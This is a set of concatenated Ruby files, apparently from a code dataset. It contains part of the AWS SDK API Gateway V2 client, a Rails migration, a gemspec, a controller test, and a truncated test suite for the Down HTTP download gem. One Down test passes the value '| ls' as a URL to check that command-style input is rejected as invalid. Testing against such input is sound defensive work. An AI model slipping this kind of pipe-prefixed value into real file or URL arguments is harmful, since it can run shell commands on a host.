# * {Types::UpdateIntegrationResponseResponse#integration_response_key #integration_response_key} => String
# * {Types::UpdateIntegrationResponseResponse#response_parameters #response_parameters} => Hash<String,String>
# * {Types::UpdateIntegrationResponseResponse#response_templates #response_templates} => Hash<String,String>
# * {Types::UpdateIntegrationResponseResponse#template_selection_expression #template_selection_expression} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_integration_response({
# api_id: "__string", # required
# content_handling_strategy: "CONVERT_TO_BINARY", # accepts CONVERT_TO_BINARY, CONVERT_TO_TEXT
# integration_id: "__string", # required
# integration_response_id: "__string", # required
# integration_response_key: "SelectionKey",
# response_parameters: {
# "__string" => "StringWithLengthBetween1And512",
# },
# response_templates: {
# "__string" => "StringWithLengthBetween0And32K",
# },
# template_selection_expression: "SelectionExpression",
# })
#
# @example Response structure
#
# resp.content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.integration_response_id #=> String
# resp.integration_response_key #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"] #=> String
# resp.response_templates #=> Hash
# resp.response_templates["__string"] #=> String
# resp.template_selection_expression #=> String
#
# @overload update_integration_response(params = {})
# @param [Hash] params ({})
def update_integration_response(params = {}, options = {})
req = build_request(:update_integration_response, params)
req.send_request(options)
end
# Updates a Model.
#
# @option params [required, String] :api_id
#
# @option params [String] :content_type
# A string with a length between \[1-256\].
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [required, String] :model_id
#
# @option params [String] :name
# A string with a length between \[1-128\].
#
# @option params [String] :schema
# A string with a length between \[0-32768\].
#
# @return [Types::UpdateModelResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateModelResponse#content_type #content_type} => String
# * {Types::UpdateModelResponse#description #description} => String
# * {Types::UpdateModelResponse#model_id #model_id} => String
# * {Types::UpdateModelResponse#name #name} => String
# * {Types::UpdateModelResponse#schema #schema} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_model({
# api_id: "__string", # required
# content_type: "StringWithLengthBetween1And256",
# description: "StringWithLengthBetween0And1024",
# model_id: "__string", # required
# name: "StringWithLengthBetween1And128",
# schema: "StringWithLengthBetween0And32K",
# })
#
# @example Response structure
#
# resp.content_type #=> String
# resp.description #=> String
# resp.model_id #=> String
# resp.name #=> String
# resp.schema #=> String
#
# @overload update_model(params = {})
# @param [Hash] params ({})
def update_model(params = {}, options = {})
req = build_request(:update_model, params)
req.send_request(options)
end
# Updates a Route.
#
# @option params [required, String] :api_id
#
# @option params [Boolean] :api_key_required
#
# @option params [Array<String>] :authorization_scopes
# A list of authorization scopes configured on a route. The scopes are
# used with a JWT authorizer to authorize the method invocation. The
# authorization works by matching the route scopes against the scopes
# parsed from the access token in the incoming request. The method
# invocation is authorized if any route scope matches a claimed scope in
# the access token. Otherwise, the invocation is not authorized. When
# the route scope is configured, the client must provide an access token
# instead of an identity token for authorization purposes.
#
# @option params [String] :authorization_type
# The authorization type. For WebSocket APIs, valid values are NONE for
# open access, AWS\_IAM for using AWS IAM permissions, and CUSTOM for
# using a Lambda authorizer. For HTTP APIs, valid values are NONE for
# open access, JWT for using JSON Web Tokens, AWS\_IAM for using AWS IAM
# permissions, and CUSTOM for using a Lambda authorizer.
#
# @option params [String] :authorizer_id
# The identifier.
#
# @option params [String] :model_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :operation_name
# A string with a length between \[1-64\].
#
# @option params [Hash<String,String>] :request_models
# The route models.
#
# @option params [Hash<String,Types::ParameterConstraints>] :request_parameters
# The route parameters.
#
# @option params [required, String] :route_id
#
# @option params [String] :route_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :route_response_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :target
# A string with a length between \[1-128\].
#
# @return [Types::UpdateRouteResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateRouteResult#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::UpdateRouteResult#api_key_required #api_key_required} => Boolean
# * {Types::UpdateRouteResult#authorization_scopes #authorization_scopes} => Array<String>
# * {Types::UpdateRouteResult#authorization_type #authorization_type} => String
# * {Types::UpdateRouteResult#authorizer_id #authorizer_id} => String
# * {Types::UpdateRouteResult#model_selection_expression #model_selection_expression} => String
# * {Types::UpdateRouteResult#operation_name #operation_name} => String
# * {Types::UpdateRouteResult#request_models #request_models} => Hash<String,String>
# * {Types::UpdateRouteResult#request_parameters #request_parameters} => Hash<String,Types::ParameterConstraints>
# * {Types::UpdateRouteResult#route_id #route_id} => String
# * {Types::UpdateRouteResult#route_key #route_key} => String
# * {Types::UpdateRouteResult#route_response_selection_expression #route_response_selection_expression} => String
# * {Types::UpdateRouteResult#target #target} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_route({
# api_id: "__string", # required
# api_key_required: false,
# authorization_scopes: ["StringWithLengthBetween1And64"],
# authorization_type: "NONE", # accepts NONE, AWS_IAM, CUSTOM, JWT
# authorizer_id: "Id",
# model_selection_expression: "SelectionExpression",
# operation_name: "StringWithLengthBetween1And64",
# request_models: {
# "__string" => "StringWithLengthBetween1And128",
# },
# request_parameters: {
# "__string" => {
# required: false,
# },
# },
# route_id: "__string", # required
# route_key: "SelectionKey",
# route_response_selection_expression: "SelectionExpression",
# target: "StringWithLengthBetween1And128",
# })
#
# @example Response structure
#
# resp.api_gateway_managed #=> Boolean
# resp.api_key_required #=> Boolean
# resp.authorization_scopes #=> Array
# resp.authorization_scopes[0] #=> String
# resp.authorization_type #=> String, one of "NONE", "AWS_IAM", "CUSTOM", "JWT"
# resp.authorizer_id #=> String
# resp.model_selection_expression #=> String
# resp.operation_name #=> String
# resp.request_models #=> Hash
# resp.request_models["__string"] #=> String
# resp.request_parameters #=> Hash
# resp.request_parameters["__string"].required #=> Boolean
# resp.route_id #=> String
# resp.route_key #=> String
# resp.route_response_selection_expression #=> String
# resp.target #=> String
#
# @overload update_route(params = {})
# @param [Hash] params ({})
def update_route(params = {}, options = {})
req = build_request(:update_route, params)
req.send_request(options)
end
# Updates a RouteResponse.
#
# @option params [required, String] :api_id
#
# @option params [String] :model_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Hash<String,String>] :response_models
# The route models.
#
# @option params [Hash<String,Types::ParameterConstraints>] :response_parameters
# The route parameters.
#
# @option params [required, String] :route_id
#
# @option params [required, String] :route_response_id
#
# @option params [String] :route_response_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @return [Types::UpdateRouteResponseResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateRouteResponseResponse#model_selection_expression #model_selection_expression} => String
# * {Types::UpdateRouteResponseResponse#response_models #response_models} => Hash<String,String>
# * {Types::UpdateRouteResponseResponse#response_parameters #response_parameters} => Hash<String,Types::ParameterConstraints>
# * {Types::UpdateRouteResponseResponse#route_response_id #route_response_id} => String
# * {Types::UpdateRouteResponseResponse#route_response_key #route_response_key} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_route_response({
# api_id: "__string", # required
# model_selection_expression: "SelectionExpression",
# response_models: {
# "__string" => "StringWithLengthBetween1And128",
# },
# response_parameters: {
# "__string" => {
# required: false,
# },
# },
# route_id: "__string", # required
# route_response_id: "__string", # required
# route_response_key: "SelectionKey",
# })
#
# @example Response structure
#
# resp.model_selection_expression #=> String
# resp.response_models #=> Hash
# resp.response_models["__string"] #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"].required #=> Boolean
# resp.route_response_id #=> String
# resp.route_response_key #=> String
#
# @overload update_route_response(params = {})
# @param [Hash] params ({})
def update_route_response(params = {}, options = {})
req = build_request(:update_route_response, params)
req.send_request(options)
end
# Updates a Stage.
#
# @option params [Types::AccessLogSettings] :access_log_settings
# Settings for logging access in a stage.
#
# @option params [required, String] :api_id
#
# @option params [Boolean] :auto_deploy
#
# @option params [String] :client_certificate_id
# The identifier.
#
# @option params [Types::RouteSettings] :default_route_settings
# Represents a collection of route settings.
#
# @option params [String] :deployment_id
# The identifier.
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [Hash<String,Types::RouteSettings>] :route_settings
# The route settings map.
#
# @option params [required, String] :stage_name
#
# @option params [Hash<String,String>] :stage_variables
# The stage variable map.
#
# @return [Types::UpdateStageResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateStageResponse#access_log_settings #access_log_settings} => Types::AccessLogSettings
# * {Types::UpdateStageResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::UpdateStageResponse#auto_deploy #auto_deploy} => Boolean
# * {Types::UpdateStageResponse#client_certificate_id #client_certificate_id} => String
# * {Types::UpdateStageResponse#created_date #created_date} => Time
# * {Types::UpdateStageResponse#default_route_settings #default_route_settings} => Types::RouteSettings
# * {Types::UpdateStageResponse#deployment_id #deployment_id} => String
# * {Types::UpdateStageResponse#description #description} => String
# * {Types::UpdateStageResponse#last_deployment_status_message #last_deployment_status_message} => String
# * {Types::UpdateStageResponse#last_updated_date #last_updated_date} => Time
# * {Types::UpdateStageResponse#route_settings #route_settings} => Hash<String,Types::RouteSettings>
# * {Types::UpdateStageResponse#stage_name #stage_name} => String
# * {Types::UpdateStageResponse#stage_variables #stage_variables} => Hash<String,String>
# * {Types::UpdateStageResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.update_stage({
# access_log_settings: {
# destination_arn: "Arn",
# format: "StringWithLengthBetween1And1024",
# },
# api_id: "__string", # required
# auto_deploy: false,
# client_certificate_id: "Id",
# default_route_settings: {
# data_trace_enabled: false,
# detailed_metrics_enabled: false,
# logging_level: "ERROR", # accepts ERROR, INFO, OFF
# throttling_burst_limit: 1,
# throttling_rate_limit: 1.0,
# },
# deployment_id: "Id",
# description: "StringWithLengthBetween0And1024",
# route_settings: {
# "__string" => {
# data_trace_enabled: false,
# detailed_metrics_enabled: false,
# logging_level: "ERROR", # accepts ERROR, INFO, OFF
# throttling_burst_limit: 1,
# throttling_rate_limit: 1.0,
# },
# },
# stage_name: "__string", # required
# stage_variables: {
# "__string" => "StringWithLengthBetween0And2048",
# },
# })
#
# @example Response structure
#
# resp.access_log_settings.destination_arn #=> String
# resp.access_log_settings.format #=> String
# resp.api_gateway_managed #=> Boolean
# resp.auto_deploy #=> Boolean
# resp.client_certificate_id #=> String
# resp.created_date #=> Time
# resp.default_route_settings.data_trace_enabled #=> Boolean
# resp.default_route_settings.detailed_metrics_enabled #=> Boolean
# resp.default_route_settings.logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.default_route_settings.throttling_burst_limit #=> Integer
# resp.default_route_settings.throttling_rate_limit #=> Float
# resp.deployment_id #=> String
# resp.description #=> String
# resp.last_deployment_status_message #=> String
# resp.last_updated_date #=> Time
# resp.route_settings #=> Hash
# resp.route_settings["__string"].data_trace_enabled #=> Boolean
# resp.route_settings["__string"].detailed_metrics_enabled #=> Boolean
# resp.route_settings["__string"].logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.route_settings["__string"].throttling_burst_limit #=> Integer
# resp.route_settings["__string"].throttling_rate_limit #=> Float
# resp.stage_name #=> String
# resp.stage_variables #=> Hash
# resp.stage_variables["__string"] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
#
# @overload update_stage(params = {})
# @param [Hash] params ({})
def update_stage(params = {}, options = {})
req = build_request(:update_stage, params)
req.send_request(options)
end
# Updates a VPC link.
#
# @option params [String] :name
# A string with a length between \[1-128\].
#
# @option params [required, String] :vpc_link_id
#
# @return [Types::UpdateVpcLinkResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateVpcLinkResponse#created_date #created_date} => Time
# * {Types::UpdateVpcLinkResponse#name #name} => String
# * {Types::UpdateVpcLinkResponse#security_group_ids #security_group_ids} => Array<String>
# * {Types::UpdateVpcLinkResponse#subnet_ids #subnet_ids} => Array<String>
# * {Types::UpdateVpcLinkResponse#tags #tags} => Hash<String,String>
# * {Types::UpdateVpcLinkResponse#vpc_link_id #vpc_link_id} => String
# * {Types::UpdateVpcLinkResponse#vpc_link_status #vpc_link_status} => String
# * {Types::UpdateVpcLinkResponse#vpc_link_status_message #vpc_link_status_message} => String
# * {Types::UpdateVpcLinkResponse#vpc_link_version #vpc_link_version} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_vpc_link({
# name: "StringWithLengthBetween1And128",
# vpc_link_id: "__string", # required
# })
#
# @example Response structure
#
# resp.created_date #=> Time
# resp.name #=> String
# resp.security_group_ids #=> Array
# resp.security_group_ids[0] #=> String
# resp.subnet_ids #=> Array
# resp.subnet_ids[0] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.vpc_link_id #=> String
# resp.vpc_link_status #=> String, one of "PENDING", "AVAILABLE", "DELETING", "FAILED", "INACTIVE"
# resp.vpc_link_status_message #=> String
# resp.vpc_link_version #=> String, one of "V2"
#
# @overload update_vpc_link(params = {})
# @param [Hash] params ({})
def update_vpc_link(params = {}, options = {})
req = build_request(:update_vpc_link, params)
req.send_request(options)
end
# @!endgroup
# @param params ({})
# @api private
def build_request(operation_name, params = {})
handlers = @handlers.for(operation_name)
context = Seahorse::Client::RequestContext.new(
operation_name: operation_name,
operation: config.api.operation(operation_name),
client: self,
params: params,
config: config)
context[:gem_name] = 'aws-sdk-apigatewayv2'
context[:gem_version] = '1.34.0'
Seahorse::Client::Request.new(handlers, context)
end
# @api private
# @deprecated
def waiter_names
[]
end
class << self
# @api private
attr_reader :identifier
# @api private
def errors_module
Errors
end
end
end
end
| 44.404512 | 179 | 0.665305 |
03175dc679b91e5545789869722040ae89b62f0d | 163 | class CreateTrips < ActiveRecord::Migration[5.2]
def change
create_table :trips do |t|
t.string :name
t.timestamps null: false
end
end
end
| 18.111111 | 48 | 0.662577 |
38dd384d5f3d74440d4cf5a409c095543a191ac8 | 449 | Gem::Specification.new do |s|
s.name = "cloudseed"
s.version = "0.1.2"
s.summary = "Rack-based helper for CloudFront custom origins"
s.description = "CloudSeed is a Rack-based utility to manage backend delivery of CloudFront custom origins."
s.files = Dir["Rakefile", "lib/**/*"]
s.add_dependency "rack", ">= 1.0.0"
s.authors = ["Kurt Mackey"]
s.email = "[email protected]"
s.homepage = "http://github.com/mrkurt/cloudseed/"
end
| 29.933333 | 110 | 0.67706 |
5d0bd1264fae0b512b4c0e4c639a2b610d0f2639 | 1,352 | require_relative "../test_helper"
require_relative "smart_answers_controller_test_helper"
class SmartAnswersControllerValueQuestionTest < ActionController::TestCase
tests SmartAnswersController
include SmartAnswersControllerTestHelper
setup { setup_fixture_flows }
teardown { teardown_fixture_flows }
context "GET /<slug>" do
context "value question" do
should "display question" do
get :show, params: { id: "value-sample", started: "y" }
assert_select ".govuk-caption-l", "Sample value question"
assert_select "h1.govuk-label-wrapper .govuk-label.govuk-label--l", /User input\?/
assert_select "input[type=text][name=response]"
end
should "accept question input and redirect to canonical url" do
submit_response "10"
assert_redirected_to "/value-sample/y/10"
end
should "display answered question, and format number" do
get :show, params: { id: "value-sample", started: "y", responses: "12345" }
assert_select ".govuk-summary-list", /User input\?\s+12,345/
end
end
end
def submit_response(response = nil, other_params = {})
super(response, other_params.merge(id: "value-sample"))
end
def submit_json_response(response = nil, other_params = {})
super(response, other_params.merge(id: "value-sample"))
end
end
| 32.97561 | 90 | 0.698964 |
4a73930586672f089b5ff70ca4568e46871c98f5 | 18,710 | require "test_helper"
require "down/net_http"
require "http"
require "stringio"
require "json"
require "base64"
describe Down do
describe "#download" do
it "downloads content from url" do
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{20*1024}?seed=0")
assert_equal HTTP.get("#{$httpbin}/bytes/#{20*1024}?seed=0").to_s, tempfile.read
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{1024}?seed=0")
assert_equal HTTP.get("#{$httpbin}/bytes/#{1024}?seed=0").to_s, tempfile.read
end
it "returns a Tempfile" do
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{20*1024}")
assert_instance_of Tempfile, tempfile
# open-uri returns a StringIO on files with 10KB or less
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{1024}")
assert_instance_of Tempfile, tempfile
end
it "saves Tempfile to disk" do
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{20*1024}")
assert File.exist?(tempfile.path)
# open-uri returns a StringIO on files with 10KB or less
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{1024}")
assert File.exist?(tempfile.path)
end
it "opens the Tempfile in binary mode" do
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{20*1024}")
assert tempfile.binmode?
# open-uri returns a StringIO on files with 10KB or less
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/#{1024}")
assert tempfile.binmode?
end
it "gives the Tempfile a file extension" do
tempfile = Down::NetHttp.download("#{$httpbin}/robots.txt")
assert_equal ".txt", File.extname(tempfile.path)
tempfile = Down::NetHttp.download("#{$httpbin}/robots.txt?foo=bar")
assert_equal ".txt", File.extname(tempfile.path)
tempfile = Down::NetHttp.download("#{$httpbin}/redirect-to?url=#{$httpbin}/robots.txt")
assert_equal ".txt", File.extname(tempfile.path)
end
it "accepts an URI object" do
tempfile = Down::NetHttp.download(URI("#{$httpbin}/bytes/100"))
assert_equal 100, tempfile.size
end
it "uses a default User-Agent" do
tempfile = Down::NetHttp.download("#{$httpbin}/user-agent")
assert_equal "Down/#{Down::VERSION}", JSON.parse(tempfile.read)["user-agent"]
end
it "accepts max size" do
assert_raises(Down::TooLarge) do
Down::NetHttp.download("#{$httpbin}/bytes/10", max_size: 5)
end
assert_raises(Down::TooLarge) do
Down::NetHttp.download("#{$httpbin}/stream-bytes/10", max_size: 5)
end
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/10", max_size: 10)
assert File.exist?(tempfile.path)
tempfile = Down::NetHttp.download("#{$httpbin}/stream-bytes/10", max_size: 15)
assert File.exist?(tempfile.path)
end
it "accepts content length proc" do
Down::NetHttp.download "#{$httpbin}/bytes/100",
content_length_proc: ->(n) { @content_length = n }
assert_equal 100, @content_length
end
it "accepts progress proc" do
Down::NetHttp.download "#{$httpbin}/stream-bytes/100?chunk_size=10",
progress_proc: ->(n) { (@progress ||= []) << n }
assert_equal [10, 20, 30, 40, 50, 60, 70, 80, 90, 100], @progress
end
it "detects and applies basic authentication from URL" do
tempfile = Down::NetHttp.download("#{$httpbin.sub("http://", '\0user:password@')}/basic-auth/user/password")
assert_equal true, JSON.parse(tempfile.read)["authenticated"]
end
it "follows redirects" do
tempfile = Down::NetHttp.download("#{$httpbin}/redirect/1")
assert_equal "#{$httpbin}/get", JSON.parse(tempfile.read)["url"]
tempfile = Down::NetHttp.download("#{$httpbin}/redirect/2")
assert_equal "#{$httpbin}/get", JSON.parse(tempfile.read)["url"]
assert_raises(Down::TooManyRedirects) { Down::NetHttp.download("#{$httpbin}/redirect/3") }
tempfile = Down::NetHttp.download("#{$httpbin}/redirect/3", max_redirects: 3)
assert_equal "#{$httpbin}/get", JSON.parse(tempfile.read)["url"]
assert_raises(Down::TooManyRedirects) { Down::NetHttp.download("#{$httpbin}/redirect/4", max_redirects: 3) }
tempfile = Down::NetHttp.download("#{$httpbin}/absolute-redirect/1")
assert_equal "#{$httpbin}/get", JSON.parse(tempfile.read)["url"]
tempfile = Down::NetHttp.download("#{$httpbin}/relative-redirect/1")
assert_equal "#{$httpbin}/get", JSON.parse(tempfile.read)["url"]
# We also want to test that cookies are being forwarded on redirects, but
# httpbin doesn't have an endpoint which can both redirect and return a
# "Set-Cookie" header.
end
# I don't know how to test that the proxy is actually used
it "accepts proxy" do
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/100", proxy: $httpbin)
assert_equal 100, tempfile.size
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/100", proxy: $httpbin.sub("http://", '\0user:password@'))
assert_equal 100, tempfile.size
tempfile = Down::NetHttp.download("#{$httpbin}/bytes/100", proxy: URI($httpbin.sub("http://", '\0user:password@')))
assert_equal 100, tempfile.size
end
it "accepts request headers" do
tempfile = Down::NetHttp.download("#{$httpbin}/headers", headers: { "Key" => "Value" })
assert_equal "Value", JSON.parse(tempfile.read)["headers"]["Key"]
end
it "forwards other options to open-uri" do
tempfile = Down::NetHttp.download("#{$httpbin}/basic-auth/user/password", http_basic_authentication: ["user", "password"])
assert_equal true, JSON.parse(tempfile.read)["authenticated"]
end
it "applies default options" do
net_http = Down::NetHttp.new(headers: { "User-Agent" => "Janko" })
tempfile = net_http.download("#{$httpbin}/user-agent")
assert_equal "Janko", JSON.parse(tempfile.read)["user-agent"]
end
it "adds #original_filename extracted from Content-Disposition" do
tempfile = Down::NetHttp.download("#{$httpbin}/response-headers?Content-Disposition=inline;%20filename=\"my%20filename.ext\"")
assert_equal "my filename.ext", tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}/response-headers?Content-Disposition=inline;%20filename=\"my%2520filename.ext\"")
assert_equal "my filename.ext", tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}/response-headers?Content-Disposition=inline;%20filename=my%2520filename.ext")
assert_equal "my filename.ext", tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}/response-headers?Content-Disposition=inline;%20filename=\"ascii%20filename.ext\"%3B%20filename*=UTF-8''utf8%2520filename.ext")
assert_equal "utf8 filename.ext", tempfile.original_filename
end
it "adds #original_filename extracted from URI path if Content-Disposition is blank" do
tempfile = Down::NetHttp.download("#{$httpbin}/robots.txt")
assert_equal "robots.txt", tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}/basic-auth/user/pass%20word", http_basic_authentication: ["user", "pass word"])
assert_equal "pass word", tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}/response-headers?Content-Disposition=inline;%20filename=")
assert_equal "response-headers", tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}/response-headers?Content-Disposition=inline;%20filename=\"\"")
assert_equal "response-headers", tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}/")
assert_nil tempfile.original_filename
tempfile = Down::NetHttp.download("#{$httpbin}")
assert_nil tempfile.original_filename
end
it "adds #content_type extracted from Content-Type" do
tempfile = Down::NetHttp.download("#{$httpbin}/image/png")
assert_equal "image/png", tempfile.content_type
tempfile = Down::NetHttp.download("#{$httpbin}/encoding/utf8")
assert_equal "text/html; charset=utf-8", tempfile.meta["content-type"]
assert_equal "text/html", tempfile.content_type
tempfile.meta.delete("content-type")
assert_nil tempfile.content_type
tempfile.meta["content-type"] = nil
assert_nil tempfile.content_type
tempfile.meta["content-type"] = ""
assert_nil tempfile.content_type
end
it "accepts download destination" do
tempfile = Tempfile.new("destination")
result = Down::NetHttp.download("#{$httpbin}/bytes/#{20*1024}?seed=0", destination: tempfile.path)
assert_equal HTTP.get("#{$httpbin}/bytes/#{20*1024}?seed=0").to_s, File.binread(tempfile.path)
assert_nil result
end
it "raises on HTTP error responses" do
error = assert_raises(Down::NotFound) { Down::NetHttp.download("#{$httpbin}/status/404") }
assert_equal "404 Not Found", error.message
assert_kind_of Net::HTTPResponse, error.response
error = assert_raises(Down::ClientError) { Down::NetHttp.download("#{$httpbin}/status/403") }
assert_equal "403 Forbidden", error.message
assert_kind_of Net::HTTPResponse, error.response
error = assert_raises(Down::ServerError) { Down::NetHttp.download("#{$httpbin}/status/500") }
assert_equal "500 Internal Server Error", error.message
assert_kind_of Net::HTTPResponse, error.response
error = assert_raises(Down::ServerError) { Down::NetHttp.download("#{$httpbin}/status/599") }
assert_equal "599 Unknown", error.message
assert_kind_of Net::HTTPResponse, error.response
error = assert_raises(Down::ResponseError) { Down::NetHttp.download("#{$httpbin}/status/999") }
assert_equal "999 Unknown", error.message
assert_kind_of Net::HTTPResponse, error.response
end
it "accepts non-escaped URLs" do
tempfile = Down::NetHttp.download("#{$httpbin}/etag/foo bar")
assert_equal "foo bar", tempfile.meta["etag"]
end
it "only normalizes URLs when URI says the URL is invalid" do
url = "#{$httpbin}/etag/2ELk8hUpTC2wqJ%2BZ%25GfTFA.jpg"
tempfile = Down::NetHttp.download(url)
assert_equal url, tempfile.base_uri.to_s
end
it "accepts :uri_normalizer" do
assert_raises(Down::InvalidUrl) do
Down::NetHttp.download("#{$httpbin}/etag/foo bar", uri_normalizer: -> (uri) { uri })
end
end
it "raises on invalid URLs" do
assert_raises(Down::InvalidUrl) { Down::NetHttp.download("foo://example.org") }
assert_raises(Down::InvalidUrl) { Down::NetHttp.download("| ls") }
end
it "raises on invalid redirect url" do
assert_raises(Down::ResponseError) { Down::NetHttp.download("#{$httpbin}/redirect-to?url=#{CGI.escape("ftp://localhost/file.txt")}") }
end
it "raises on connection errors" do
assert_raises(Down::ConnectionError) { Down::NetHttp.download("http://localhost:99999") }
end
it "raises on timeout errors" do
assert_raises(Down::TimeoutError) { Down::NetHttp.download("#{$httpbin}/delay/0.5", read_timeout: 0, open_timeout: 0) }
end
deprecated "accepts top-level request headers" do
tempfile = Down::NetHttp.download("#{$httpbin}/headers", { "Key" => "Value" })
assert_equal "Value", JSON.parse(tempfile.read)["headers"]["Key"]
tempfile = Down::NetHttp.download("#{$httpbin}/headers", "Key" => "Value")
assert_equal "Value", JSON.parse(tempfile.read)["headers"]["Key"]
net_http = Down::NetHttp.new({ "User-Agent" => "Janko" })
tempfile = net_http.download("#{$httpbin}/user-agent")
assert_equal "Janko", JSON.parse(tempfile.read)["user-agent"]
net_http = Down::NetHttp.new("User-Agent" => "Janko")
tempfile = net_http.download("#{$httpbin}/user-agent")
assert_equal "Janko", JSON.parse(tempfile.read)["user-agent"]
end
end
describe "#open" do
it "streams response body in chunks" do
io = Down::NetHttp.open("#{$httpbin}/stream/10")
assert_equal 10, io.each_chunk.count
end
it "accepts an URI object" do
io = Down::NetHttp.open(URI("#{$httpbin}/stream/10"))
assert_equal 10, io.each_chunk.count
end
it "downloads on demand" do
start = Time.now
io = Down::NetHttp.open("#{$httpbin}/drip?duration=0.5&delay=0")
io.close
assert_operator Time.now - start, :<, 0.5
end
it "follows redirects" do
io = Down::NetHttp.open("#{$httpbin}/redirect/1")
assert_equal "#{$httpbin}/get", JSON.parse(io.read)["url"]
io = Down::NetHttp.open("#{$httpbin}/redirect/2")
assert_equal "#{$httpbin}/get", JSON.parse(io.read)["url"]
assert_raises(Down::TooManyRedirects) { Down::NetHttp.open("#{$httpbin}/redirect/3") }
io = Down::NetHttp.open("#{$httpbin}/redirect/3", max_redirects: 3)
assert_equal "#{$httpbin}/get", JSON.parse(io.read)["url"]
assert_raises(Down::TooManyRedirects) { Down::NetHttp.open("#{$httpbin}/redirect/4", max_redirects: 3) }
io = Down::NetHttp.open("#{$httpbin}/absolute-redirect/1")
assert_equal "#{$httpbin}/get", JSON.parse(io.read)["url"]
io = Down::NetHttp.open("#{$httpbin}/relative-redirect/1")
assert_equal "#{$httpbin}/get", JSON.parse(io.read)["url"]
end
it "returns content in encoding specified by charset" do
io = Down::NetHttp.open("#{$httpbin}/stream/10")
assert_equal Encoding::BINARY, io.read.encoding
io = Down::NetHttp.open("#{$httpbin}/get")
assert_equal Encoding::BINARY, io.read.encoding
io = Down::NetHttp.open("#{$httpbin}/encoding/utf8")
assert_equal Encoding::UTF_8, io.read.encoding
end
it "uses a default User-Agent" do
io = Down::NetHttp.open("#{$httpbin}/user-agent")
assert_equal "Down/#{Down::VERSION}", JSON.parse(io.read)["user-agent"]
end
it "doesn't have to be rewindable" do
io = Down::NetHttp.open("#{$httpbin}/stream/10", rewindable: false)
io.read
assert_raises(IOError) { io.rewind }
end
it "extracts size from Content-Length" do
io = Down::NetHttp.open(URI("#{$httpbin}/bytes/100"))
assert_equal 100, io.size
io = Down::NetHttp.open(URI("#{$httpbin}/stream-bytes/100"))
assert_nil io.size
end
it "closes the connection on #close" do
io = Down::NetHttp.open("#{$httpbin}/bytes/100")
Net::HTTP.any_instance.expects(:do_finish)
io.close
end
it "accepts request headers" do
io = Down::NetHttp.open("#{$httpbin}/headers", headers: { "Key" => "Value" })
assert_equal "Value", JSON.parse(io.read)["headers"]["Key"]
end
# I don't know how to test that the proxy is actually used
it "accepts proxy" do
io = Down::NetHttp.open("#{$httpbin}/bytes/100", proxy: $httpbin)
assert_equal 100, io.size
io = Down::NetHttp.open("#{$httpbin}/bytes/100", proxy: $httpbin.sub("http://", '\0user:password@'))
assert_equal 100, io.size
io = Down::NetHttp.open("#{$httpbin}/bytes/100", proxy: URI($httpbin.sub("http://", '\0user:password@')))
assert_equal 100, io.size
end
it "accepts :http_basic_authentication_option" do
